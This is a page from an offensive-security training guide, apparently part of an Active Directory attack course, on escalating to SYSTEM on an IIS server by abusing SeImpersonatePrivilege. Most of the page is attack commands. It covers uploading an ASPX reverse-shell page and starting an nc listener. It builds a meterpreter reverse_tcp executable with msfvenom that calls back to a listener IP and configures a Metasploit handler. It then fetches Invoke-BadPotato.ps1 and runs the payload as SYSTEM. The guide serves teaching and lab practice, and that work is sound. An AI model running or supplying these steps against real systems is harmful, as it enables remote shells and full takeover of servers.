> For the complete documentation index, see [llms.txt](https://watchdogsacademy.gitbook.io/attacking-active-directory/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://watchdogsacademy.gitbook.io/attacking-active-directory/exploiting-iis-and-privilege-escalation/privesc-seimpersonateprivilege.md). # Privesc SeImpersonatePrivilege ### Better Shell? {% embed url="" %} ``` <%@ Page Language="C#" %> <%@ Import Namespace="System.Runtime.InteropServices" %> <%@ Import Namespace="System.Net" %> <%@ Import Namespace="System.Net.Sockets" %> <%@ Import Namespace="System.Security.Principal" %> <%@ Import Namespace="System.Data.SqlClient" %> ``` Change the IP and port from the above script and Upload the .aspx to the website. #### Start listening to catch the shell ``` nc -nvlp 8080 ``` After uploading, navigate to the location of the file #### Got shells?

### SeImpersonatePrivilege Priv Escalation Any process holding this privilege can **impersonate** (but not create) any **token** for which it is able to gethandle. You can get a **privileged token** from a **Windows service** (DCOM) making it perform an **NTLM authentication** against the exploit, then execute a process as **SYSTEM**. we will be focusing on the usage of the SeImpersontePrivilege or Impersonate a Client After Authentication” User Right Privileges to elevate the access on the machine using different methods. Check if Print Spooler service is running: ``` PS > Get-Service Spooler Status Name DisplayName ------ ---- ----------- Running Spooler Print Spooler ``` ### Getting Shell with NT Authority System ``` msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.56.31 lport=12034 -f exe > pwn.exe ``` #### Getting Metasploit Ready to Listen for shell ``` msfconsole use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set lhost 192.168.56.31 set lport 12034 run ``` Upload pwn.exe Upload badpotato.ps1 ``` https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-BadPotato.ps1 ``` #### Let's get the shell? ``` . .\Invoke-BadPotato.ps1; Invoke-BadPotato -C "C:\inetpub\wwwroot\upload\pwn.exe" ```